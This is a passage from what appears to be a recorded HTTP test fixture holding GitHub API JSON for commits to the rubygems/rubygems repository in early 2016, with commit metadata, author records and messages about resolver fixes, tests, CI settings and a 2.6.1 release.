warning","tree":{"sha":"bdc0a8bb843c96390511e0c5907927113b67e5e2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bdc0a8bb843c96390511e0c5907927113b67e5e2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/12c38d163772f4d7c6df9354adb15a69c811731d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/12c38d163772f4d7c6df9354adb15a69c811731d","html_url":"https://github.com/rubygems/rubygems/commit/12c38d163772f4d7c6df9354adb15a69c811731d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/12c38d163772f4d7c6df9354adb15a69c811731d/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"cdd75d6d554a967fc8b7d2a1de3827196acd3294","url":"https://api.github.com/repos/rubygems/rubygems/commits/cdd75d6d554a967fc8b7d2a1de3827196acd3294","html_url":"https://github.com/rubygems/rubygems/commit/cdd75d6d554a967fc8b7d2a1de3827196acd3294"}]},{"sha":"cdd75d6d554a967fc8b7d2a1de3827196acd3294","node_id":"MDY6Q29tbWl0NjE0MDcwOmNkZDc1ZDZkNTU0YTk2N2ZjOGI3ZDJhMWRlMzgyNzE5NmFjZDMyOTQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-09T00:59:30Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-09T00:59:30Z"},"message":"[Resolver] Fix platform sorting","tree":{"sha":"9ffd6b01df89605e17ae2489768296712da52fd2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9ffd6b01df89605e17ae2489768296712da52fd2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/cdd75d6d554a967fc8b7d2a1de3827196acd3294","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/cdd75d6d554a967fc8b7d2a1de3827196acd3294","html_url":"https://github.com/rubygems/rubygems/commit/cdd75d6d554a967fc8b7d2a1de3827196acd3294","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/cdd75d6d554a967fc8b7d2a1de3827196acd3294/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"6f6c230edbc837892565b64bb78044a1c1078d20","url":"https://api.github.com/repos/rubygems/rubygems/commits/6f6c230edbc837892565b64bb78044a1c1078d20","html_url":"https://github.com/rubygems/rubygems/commit/6f6c230edbc837892565b64bb78044a1c1078d20"}]},{"sha":"124d57b8e8c7766c280ed2c47824096ee5365b6a","node_id":"MDY6Q29tbWl0NjE0MDcwOjEyNGQ1N2I4ZThjNzc2NmMyODBlZDJjNDc4MjQwOTZlZTUzNjViNmE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-19T22:40:46Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-08T04:57:52Z"},"message":"Fix env req tests to run when $SAFE = 1","tree":{"sha":"edd5ec73a5ef6921272e9162eaa62c9998481007","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/edd5ec73a5ef6921272e9162eaa62c9998481007"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/124d57b8e8c7766c280ed2c47824096ee5365b6a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/124d57b8e8c7766c280ed2c47824096ee5365b6a","html_url":"https://github.com/rubygems/rubygems/commit/124d57b8e8c7766c280ed2c47824096ee5365b6a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/124d57b8e8c7766c280ed2c47824096ee5365b6a/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"8726cf96d7e4f4c3ce573969d80a73178167a3a7","url":"https://api.github.com/repos/rubygems/rubygems/commits/8726cf96d7e4f4c3ce573969d80a73178167a3a7","html_url":"https://github.com/rubygems/rubygems/commit/8726cf96d7e4f4c3ce573969d80a73178167a3a7"}]},{"sha":"8726cf96d7e4f4c3ce573969d80a73178167a3a7","node_id":"MDY6Q29tbWl0NjE0MDcwOjg3MjZjZjk2ZDdlNGY0YzNjZTU3Mzk2OWQ4MGE3MzE3ODE2N2EzYTc=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-18T19:18:14Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-08T04:57:52Z"},"message":"Add Kernel.gem test for env reqs","tree":{"sha":"d250dac8845a8211a9983f9b5dc0a274849dbffd","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d250dac8845a8211a9983f9b5dc0a274849dbffd"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8726cf96d7e4f4c3ce573969d80a73178167a3a7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8726cf96d7e4f4c3ce573969d80a73178167a3a7","html_url":"https://github.com/rubygems/rubygems/commit/8726cf96d7e4f4c3ce573969d80a73178167a3a7","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8726cf96d7e4f4c3ce573969d80a73178167a3a7/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d09b586a4580219599227ae0ef8bd2aee89c389","url":"https://api.github.com/repos/rubygems/rubygems/commits/6d09b586a4580219599227ae0ef8bd2aee89c389","html_url":"https://github.com/rubygems/rubygems/commit/6d09b586a4580219599227ae0ef8bd2aee89c389"}]},{"sha":"6d09b586a4580219599227ae0ef8bd2aee89c389","node_id":"MDY6Q29tbWl0NjE0MDcwOjZkMDliNTg2YTQ1ODAyMTk1OTkyMjdhZTBlZjhiZDJhZWU4OWMzODk=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-18T19:12:09Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-08T04:57:52Z"},"message":"Ensure the env reqs cache is reset by Spec.reset","tree":{"sha":"4ad86a5bb9e67b2aa187675cb547a702ae30cdc2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4ad86a5bb9e67b2aa187675cb547a702ae30cdc2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6d09b586a4580219599227ae0ef8bd2aee89c389","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6d09b586a4580219599227ae0ef8bd2aee89c389","html_url":"https://github.com/rubygems/rubygems/commit/6d09b586a4580219599227ae0ef8bd2aee89c389","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6d09b586a4580219599227ae0ef8bd2aee89c389/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"1591331df3ea359f1034e0a7258836f41d1ec712","url":"https://api.github.com/repos/rubygems/rubygems/commits/1591331df3ea359f1034e0a7258836f41d1ec712","html_url":"https://github.com/rubygems/rubygems/commit/1591331df3ea359f1034e0a7258836f41d1ec712"}]},{"sha":"4f7dffa61f3203370de4f46ad83f90cb17f81d15","node_id":"MDY6Q29tbWl0NjE0MDcwOjRmN2RmZmE2MWYzMjAzMzcwZGU0ZjQ2YWQ4M2Y5MGNiMTdmODFkMTU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-01T18:12:18Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-01T18:12:18Z"},"message":"[Travis] Only build master and stable branches","tree":{"sha":"36cdd50407496d48ddc427de53154451d8412c44","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/36cdd50407496d48ddc427de53154451d8412c44"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4f7dffa61f3203370de4f46ad83f90cb17f81d15","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4f7dffa61f3203370de4f46ad83f90cb17f81d15","html_url":"https://github.com/rubygems/rubygems/commit/4f7dffa61f3203370de4f46ad83f90cb17f81d15","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4f7dffa61f3203370de4f46ad83f90cb17f81d15/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"0818a158f528f95c0f788da62025c0f160138c6e","url":"https://api.github.com/repos/rubygems/rubygems/commits/0818a158f528f95c0f788da62025c0f160138c6e","html_url":"https://github.com/rubygems/rubygems/commit/0818a158f528f95c0f788da62025c0f160138c6e"}]},{"sha":"5567fc8aa547cb3cae34833aaac584c283b06bb5","node_id":"MDY6Q29tbWl0NjE0MDcwOjU1NjdmYzhhYTU0N2NiM2NhZTM0ODMzYWFhYzU4NGMyODNiMDZiYjU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-28T06:30:27Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-28T06:30:27Z"},"message":"[Policies] Document how we use homu","tree":{"sha":"b9c746ab28609af7e55a05b8c13d229c526cc59f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b9c746ab28609af7e55a05b8c13d229c526cc59f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/5567fc8aa547cb3cae34833aaac584c283b06bb5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/5567fc8aa547cb3cae34833aaac584c283b06bb5","html_url":"https://github.com/rubygems/rubygems/commit/5567fc8aa547cb3cae34833aaac584c283b06bb5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/5567fc8aa547cb3cae34833aaac584c283b06bb5/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"63951263617d621ef368a11b1db61b6ed4dea1c7","url":"https://api.github.com/repos/rubygems/rubygems/commits/63951263617d621ef368a11b1db61b6ed4dea1c7","html_url":"https://github.com/rubygems/rubygems/commit/63951263617d621ef368a11b1db61b6ed4dea1c7"}]},{"sha":"63951263617d621ef368a11b1db61b6ed4dea1c7","node_id":"MDY6Q29tbWl0NjE0MDcwOjYzOTUxMjYzNjE3ZDYyMWVmMzY4YTExYjFkYjYxYjZlZDRkZWExYzc=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-28T06:15:15Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-28T06:15:15Z"},"message":"Version 2.6.1 with updated history","tree":{"sha":"49b2cabce9e52dcbdf438651054183ae903a4cdb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/49b2cabce9e52dcbdf438651054183ae903a4cdb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/63951263617d621ef368a11b1db61b6ed4dea1c7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/63951263617d621ef368a11b1db61b6ed4dea1c7","html_url":"https://github.com/rubygems/rubygems/commit/63951263617d621ef368a11b1db61b6ed4dea1c7","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/63951263617d621ef368a11b1db61b6ed4dea1c7/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"c8a200f1822bee67ee0c311230ff8efd035bc3e4","url":"https://api.github.com/repos/rubygems/rubygems/commits/c8a200f1822bee67ee0c311230ff8efd035bc3e4","html_url":"https://github.com/rubygems/rubygems/commit/c8a200f1822bee67ee0c311230ff8efd035bc3e4"}]},{"sha":"99cfe5995792d083835a27726462f5a68b0182af","node_id":"MDY6Q29tbWl0NjE0MDcwOjk5Y2ZlNTk5NTc5MmQwODM4MzVhMjc3MjY0NjJmNWE2OGIwMTgyYWY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-27T01:18:40Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-27T01:18:40Z"},"message":"Remove trailing whitespace","tree":{"sha":"450b0ca5ad87022dc89e3192704f03cc29664d64","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/450b0ca5ad87022dc89e3192704f03cc29664d64"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/99cfe5995792d083835a27726462f5a68b0182af","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/99cfe5995792d083835a27726462f5a68b0182af","html_url":"https://github.com/rubygems/rubygems/commit/99cfe5995792d083835a27726462f5a68b0182af","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/99cfe5995792d083835a27726462f5a68b0182af/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"4bfc34cb00f3be715d811bf9106e01a4893fbf92","url":"https://api.github.com/repos/rubygems/rubygems/commits/4bfc34cb00f3be715d811bf9106e01a4893fbf92","html_url":"https://github.com/rubygems/rubygems/commit/4bfc34cb00f3be715d811bf9106e01a4893fbf92"}]},{"sha":"6f6d5443ddb6d9d3f9b5e6cf635a64eaf586144e","node_id":"MDY6Q29tbWl0NjE0MDcwOjZmNmQ1NDQzZGRiNmQ5ZDNmOWI1ZTZjZjYzNWE2NGVhZjU4NjE0NGU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-26T05:10:54Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-02-26T05:10:54Z"},"message":"[Rakefile] Ensure that an editor is set when editing the release post","tree":{"sha":"2fcedd22b000cfab67c284fcf389a99ebf346280","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2fcedd22b000cfab67c284fcf389a99ebf346280"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6f6d5443ddb6d9d3f9b5e6cf635a64eaf586144e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6f6d5443ddb6d9d3f9b5e6cf635a64eaf586144e","html_url":"https://github.com/rubygems/rubygems/commit/6f6d5443ddb6d9d3f9b5e6cf635a64eaf586144e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6f6d5443ddb6d9d3f9b5e6cf635a64eaf586144e/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"4bfc34cb00f3be715d811bf9106e01a4893fbf92","url":"https://api.github.com/repos/rubygems/rubygems/commits/4bfc34cb00f3be715d811bf9106e01a4893fbf92","html_url":"https://github.com/rubygems/rubygems/commit/4bfc34cb00f3be715d811bf9106e01a4893fbf92"}]}]' http_version: recorded_at: Fri, 15 Mar 2019 21:54:07 GMT - request: method: get uri: 